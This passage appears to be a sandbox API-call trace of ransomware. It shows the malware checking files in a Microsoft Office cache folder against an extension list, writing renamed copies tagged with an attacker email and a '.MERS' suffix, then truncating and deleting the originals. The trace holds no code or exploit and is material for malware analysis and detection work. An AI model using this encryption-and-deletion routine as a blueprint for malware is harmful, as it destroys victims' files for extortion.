(lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.913] lstrlenW (lpString=".1cd") returned 4 [0034.913] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.913] lstrlenW (lpString=".jpg") returned 4 [0034.913] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.913] lstrlenW (lpString=".doc") returned 4 [0034.914] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.914] lstrlenW (lpString=".docx") returned 5 [0034.914] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.914] lstrlenW (lpString=".pdf") returned 4 [0034.914] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.914] lstrlenW (lpString=".xls") returned 4 [0034.914] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.914] lstrlenW (lpString=".xlsx") returned 5 [0034.914] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.914] lstrlenW (lpString=".ppt") returned 4 [0034.914] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.914] lstrlenW (lpString=".zip") returned 4 [0034.914] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.914] lstrlenW (lpString=".rar") returned 4 [0034.914] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.914] lstrlenW (lpString=".bz2") returned 4 [0034.914] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.914] lstrlenW (lpString=".7z") returned 3 [0034.914] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.914] lstrlenW (lpString=".dbf") returned 4 [0034.914] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.914] lstrlenW (lpString=".1cd") returned 4 [0034.914] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.914] lstrlenW (lpString=".jpg") returned 4 [0034.914] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.915] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.915] lstrlenW (lpString="VisioMUI.xml") returned 12 [0034.915] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0034.918] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=9503) returned 1 [0034.918] CloseHandle (hObject=0x1e0) returned 1 [0034.918] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0034.918] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0034.918] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0034.918] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.918] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.918] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0034.919] GetLastError () returned 0x0 [0034.919] ReadFile (in: hFile=0x1e0, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x251f, lpOverlapped=0x0) returned 1 [0034.930] WriteFile (in: hFile=0x1c0, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0034.931] ReadFile (in: hFile=0x1e0, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.931] WriteFile (in: hFile=0x1c0, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0034.931] SetEndOfFile (hFile=0x1c0) returned 1 [0034.932] CloseHandle (hObject=0x1c0) returned 1 [0034.932] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.932] SetEndOfFile (hFile=0x1e0) returned 1 [0034.933] CloseHandle (hObject=0x1e0) returned 1 [0034.933] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0034.934] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1 [0034.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.934] lstrlenW (lpString=".doc") returned 4 [0034.934] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.934] lstrlenW (lpString=".docx") returned 5 [0034.934] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.934] lstrlenW (lpString=".pdf") returned 4 [0034.934] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.934] lstrlenW (lpString=".xls") returned 4 [0034.934] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.934] lstrlenW (lpString=".xlsx") returned 5 [0034.934] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.934] lstrlenW (lpString=".ppt") returned 4 [0034.934] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.934] lstrlenW (lpString=".zip") returned 4 [0034.935] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.935] lstrlenW (lpString=".rar") returned 4 [0034.935] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.935] lstrlenW (lpString=".bz2") returned 4 [0034.935] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.935] lstrlenW (lpString=".7z") returned 3 [0034.935] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.935] lstrlenW (lpString=".dbf") returned 4 [0034.935] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.935] lstrlenW (lpString=".1cd") returned 4 [0034.935] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.935] lstrlenW (lpString=".jpg") returned 4 [0034.935] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.935] lstrlenW (lpString=".doc") returned 4 [0034.935] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.935] lstrlenW (lpString=".docx") returned 5 [0034.935] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.935] lstrlenW (lpString=".pdf") returned 4 [0034.935] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.935] lstrlenW (lpString=".xls") returned 4 [0034.935] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.935] lstrlenW (lpString=".xlsx") returned 5 [0034.935] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.935] lstrlenW (lpString=".ppt") returned 4 [0034.936] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.936] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.936] lstrlenW (lpString=".zip") returned 4 [0034.936] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.936] lstrlenW (lpString=".rar") returned 4 [0034.936] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.936] lstrlenW (lpString=".bz2") returned 4 [0034.936] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.936] lstrlenW (lpString=".7z") returned 3 [0034.936] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.936] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.936] lstrlenW (lpString=".dbf") returned 4 [0034.936] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.936] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.936] lstrlenW (lpString=".1cd") returned 4 [0034.936] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.936] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0034.936] lstrlenW (lpString=".jpg") returned 4 [0034.936] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.936] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.936] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0034.936] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0034.938] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1606) returned 1 [0034.938] CloseHandle (hObject=0x1e0) returned 1 [0034.938] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0034.938] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0034.938] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0034.938] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.938] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.938] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0034.939] GetLastError () returned 0x0 [0034.939] ReadFile (in: hFile=0x1e0, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x646, lpOverlapped=0x0) returned 1 [0034.951] WriteFile (in: hFile=0x1c0, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x650, lpOverlapped=0x0) returned 1 [0034.952] ReadFile (in: hFile=0x1e0, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.952] WriteFile (in: hFile=0x1c0, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0034.952] SetEndOfFile (hFile=0x1c0) returned 1 [0034.952] CloseHandle (hObject=0x1c0) returned 1 [0034.953] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.953] SetEndOfFile (hFile=0x1e0) returned 1 [0034.954] CloseHandle (hObject=0x1e0) returned 1 [0034.954] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0034.954] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0034.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.954] lstrlenW (lpString=".doc") returned 4 [0034.954] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.954] lstrlenW (lpString=".docx") returned 5 [0034.955] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.955] lstrlenW (lpString=".pdf") returned 4 [0034.955] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.955] lstrlenW (lpString=".xls") returned 4 [0034.955] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.955] lstrlenW (lpString=".xlsx") returned 5 [0034.955] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.955] lstrlenW (lpString=".ppt") returned 4 [0034.955] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.955] lstrlenW (lpString=".zip") returned 4 [0034.955] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.955] lstrlenW (lpString=".rar") returned 4 [0034.955] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.955] lstrlenW (lpString=".bz2") returned 4 [0034.955] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.955] lstrlenW (lpString=".7z") returned 3 [0034.955] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.955] lstrlenW (lpString=".dbf") returned 4 [0034.955] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.955] lstrlenW (lpString=".1cd") returned 4 [0034.955] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.955] lstrlenW (lpString=".jpg") returned 4 [0034.955] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.956] lstrlenW (lpString=".doc") returned 4 [0034.956] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.956] lstrlenW (lpString=".docx") returned 5 [0034.956] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.956] lstrlenW (lpString=".pdf") returned 4 [0034.956] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.956] lstrlenW (lpString=".xls") returned 4 [0034.956] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.956] lstrlenW (lpString=".xlsx") returned 5 [0034.956] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.956] lstrlenW (lpString=".ppt") returned 4 [0034.956] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.956] lstrlenW (lpString=".zip") returned 4 [0034.956] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.956] lstrlenW (lpString=".rar") returned 4 [0034.956] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.956] lstrlenW (lpString=".bz2") returned 4 [0034.956] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.956] lstrlenW (lpString=".7z") returned 3 [0034.956] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.956] lstrlenW (lpString=".dbf") returned 4 [0034.956] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.956] lstrlenW (lpString=".1cd") returned 4 [0034.956] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.956] lstrlenW (lpString=".jpg") returned 4 [0034.956] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.957] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.957] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0034.957] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0035.247] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1452) returned 1 [0035.247] CloseHandle (hObject=0x1f4) returned 1 [0035.247] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0035.247] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.247] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0035.247] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.247] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.248] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0035.248] GetLastError () returned 0x0 [0035.248] ReadFile (in: hFile=0x1f4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0035.348] WriteFile (in: hFile=0x1f8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0035.349] ReadFile (in: hFile=0x1f4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.349] WriteFile (in: hFile=0x1f8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0035.349] SetEndOfFile (hFile=0x1f8) returned 1 [0035.349] CloseHandle (hObject=0x1f8) returned 1 [0035.352] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.352] SetEndOfFile (hFile=0x1f4) returned 1 [0035.353] CloseHandle (hObject=0x1f4) returned 1 [0035.353] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.353] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1 [0035.353] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0035.353] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0035.354] lstrlenW (lpString=".doc") returned 4 [0035.354] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.354] lstrlenW (lpString=".docx") returned 5 [0035.354] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.354] lstrlenW (lpString=".pdf") returned 4 [0035.354] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.354] lstrlenW (lpString=".xls") returned 4 [0035.354] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.354] lstrlenW (lpString=".xlsx") returned 5 [0035.354] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.354] lstrlenW (lpString=".ppt") returned 4 [0035.354] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.354] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0035.354] lstrlenW (lpString=".zip") returned 4 [0035.354] lstrcmpiW (lpString1=".zip", 